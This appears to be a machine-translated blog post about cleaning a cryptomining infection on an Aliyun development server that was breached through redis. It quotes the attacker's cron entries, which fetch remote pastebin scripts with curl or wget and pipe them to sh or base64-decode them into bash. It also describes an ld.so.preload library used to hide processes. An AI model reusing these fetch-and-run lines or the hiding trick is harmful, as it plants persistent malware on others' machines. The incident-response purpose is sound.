Shulou(Shulou.com)06/01 Report--

This article will explain in detail how to deal with the abnormal problems in which the server is used for mining. The content of the article is of high quality, so the editor shares it for you as a reference. I hope you will have a certain understanding of the relevant knowledge after reading this article.

One of the company's Aliyun ECS servers was assigned to a team of developers to use as a development and testing machine, but unfortunately it was hacked into the server to dig mines by exploiting redis vulnerabilities. The following is the process:

Basic situation:

Because it is a development testing machine, it is assigned to the developer and directly to the root account. It was observed that the CPU occupation of the ECS was abnormal, which was 100% for several days, and today received a security warning from Aliyun that the ECS was suspected to have a mining program.

Preliminary verification:

1. CPU occupancy has been at 99% to 100%, but top cannot view highly occupied processes.

2. Scheduled tasks with unknown origin are found under root users and will be automatically added a few minutes after deletion.

[root@dev cron.d] # crontab-l

* / 23 * (curl-fsSL https://pastebin.com/raw/1NtRkBc3||wget-Q-O-https://pastebin.com/raw/1NtRkBc3)|sh

# #

[root@dev cron.d] #

Process:

1. First, the password of root account is changed, and the root login configuration of SSH is disabled.

Then, referring to the online materials, the following processing is carried out:

(note: before cleaning, it is best to compare with the normal system to confirm which ones the normal system will not have.)

2. Handle scheduled tasks of unknown origin

At first, it was only deleted with crontab-e, but it was found a few minutes later, so there must be other configurations. After checking the / etc/cron* directory and / var/spool/cron/root in turn, after comparing with the normal system, all of them were deleted and observed for more than half an hour. Finally, it was confirmed that the scheduled tasks of unknown origin were killed.

[root@dev cron.d] # crontab-l

* / 23 * (curl-fsSL https://pastebin.com/raw/1NtRkBc3||wget-Q-O-https://pastebin.com/raw/1NtRkBc3)|sh

# #

[root@dev cron.d] #

[root@dev cron.d] # grep curl *

Apache:*/17 * root (curl-fsSL https://pastebin.com/raw/1NtRkBc3||wget-Q-O-https://pastebin.com/raw/1NtRkBc3)|sh

Root:*/10 * root (curl-fsSL https://pastebin.com/raw/1NtRkBc3||wget-Q-O-https://pastebin.com/raw/1NtRkBc3)|sh

[root@dev cron.d] #

[root@dev cron.daily] # ll

Total 12

-rwx- 1 root root 180 Jul 10 2003 logrotate

-rwx- 1 root root 927 Mar 22 2017 makewhatis.cron

-rwxr-xr-x 1 root root 116 Mar 23 2017 oanacroner

[root@dev cron.daily] # grep curl *

Oanacroner: (curl-fsSL https://pastebin.com/raw/tRxfvbYN | | wget-Q-O-https://pastebin.com/raw/tRxfvbYN)|base64-d | / bin/bash

[root@dev cron.daily] # pwd

/ etc/cron.daily

[root@dev cron.daily] # ll / etc/cron.daily/oanacroner

-rwxr-xr-x 1 root root 116 Mar 23 2017 / etc/cron.daily/oanacroner

[root@dev cron.daily] #

[root@dev log] # ll / var/spool/cron/root

-rw-r--r-- 1 root root 113 Mar 23 2017 / var/spool/cron/root

[root@dev log] # cat / var/spool/cron/root

* / 23 * (curl-fsSL https://pastebin.com/raw/1NtRkBc3||wget-Q-O-https://pastebin.com/raw/1NtRkBc3)|sh

# #

[root@dev log] #

[root@dev cron.d] # ll / var/spool/cron/crontabs/root

-rw-r--r-- 1 root root 113 Mar 23 2017 / var/spool/cron/crontabs/root

[root@dev cron.d] # cat / var/spool/cron/crontabs/root

* / 31 * (curl-fsSL https://pastebin.com/raw/1NtRkBc3||wget-Q-O-https://pastebin.com/raw/1NtRkBc3)|sh

# #

[root@dev cron.d] #

[root@dev cron.d] # date;crontab-l

Wed Oct 10 10:35:19 CST 2018

No crontab for root

[root@dev cron.d] #

[root@dev cron.hourly] # ll

Total 8

-rwxr-xr-x 1 root root 409 Aug 24 2016 0anacron

-rwxr-xr-x 1 root root 116 Mar 23 2017 oanacroner

[root@dev cron.hourly] # grep curl *

Oanacroner: (curl-fsSL https://pastebin.com/raw/tRxfvbYN | | wget-Q-O-https://pastebin.com/raw/tRxfvbYN)|base64-d | / bin/bash

[root@dev cron.hourly] # pwd

/ etc/cron.hourly

[root@dev cron.hourly] #

[root@dev etc] # cd cron.monthly

[root@dev cron.monthly] # ll

Total 4

-rwxr-xr-x 1 root root 116 Mar 23 2017 oanacroner

[root@dev cron.monthly] # grep curl *

(curl-fsSL https://pastebin.com/raw/tRxfvbYN | | wget-Q-O-https://pastebin.com/raw/tRxfvbYN)|base64-d | / bin/bash

[root@dev cron.monthly] # pwd

/ etc/cron.monthly

[root@dev cron.monthly] #

3. Clean up abnormal files

First try to solve the problem that the top command cannot view the abnormal processes that occupy a lot of CPU.

Refer to the online materials and find that the file here is very suspicious (this file does not exist in the normal system):

[root@dev tmp] # cd / usr/local/lib/

[root@dev lib] # ls

Libdns.so

[root@dev lib] # ll

Total 12

-rwxr-xr-x 1 root root 9436 Mar 23 2017 libdns.so

[root@dev lib] # pwd

/ usr/local/lib

[root@dev lib] #

Top view after deletion

After kill lost a large number of PID that occupied two of CPU's abnormal processes, the system CPU usage quickly returned to normal.

Resolve errors in the figure:

ERROR: ld.so: object'/ usr/local/lib/libdns.so' from / etc/ld.so.preload cannot be preloaded: ignored.

ERROR: ld.so: object'/ usr/local/lib/libdns.so' from / etc/ld.so.preload cannot be preloaded: ignored.

[root@dev lib] # ll / etc/ld.so.preload

ERROR: ld.so: object'/ usr/local/lib/libdns.so' from / etc/ld.so.preload cannot be preloaded: ignored.

ERROR: ld.so: object'/ usr/local/lib/libdns.so' from / etc/ld.so.preload cannot be preloaded: ignored.

-rw-r--r-- 1 root root 50 Mar 23 2017 / etc/ld.so.preload

[root@dev lib] # vi / etc/ld.so.preload

ERROR: ld.so: object'/ usr/local/lib/libdns.so' from / etc/ld.so.preload cannot be preloaded: ignored.

ERROR: ld.so: object'/ usr/local/lib/libdns.so' from / etc/ld.so.preload cannot be preloaded: ignored.

[root@dev lib] # vi / etc/ld.so.preload

[root@dev lib] # ll / etc/ld.so.preload

-rw-r--r-- 1 root root 0 Oct 10 11:53 / etc/ld.so.preload

[root@dev lib] # rm-f / etc/ld.so.preload

[root@dev lib] # ll / etc/ld.so.preload

Ls: cannot access / etc/ld.so.preload: No such file or directory

[root@dev lib] #

The error above is gone after the / etc/ld.so.preload is deleted.

After further troubleshooting, using chkconfig-list to find an abnormal boot service netdns, according to the correlation of the name, the following files are found to be abnormal and deleted after comparison with the normal system.

/ bin/dns

/ usr/sbin/netdns

/ etc/init.d/netdns (/ etc/rc.d/init.d/netdns)

There are also some files in the / tmp directory

This is the end of how to deal with the abnormal problem that the server is used to dig the mine. I hope the above content can be helpful to you and learn more knowledge. If you think the article is good, you can share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.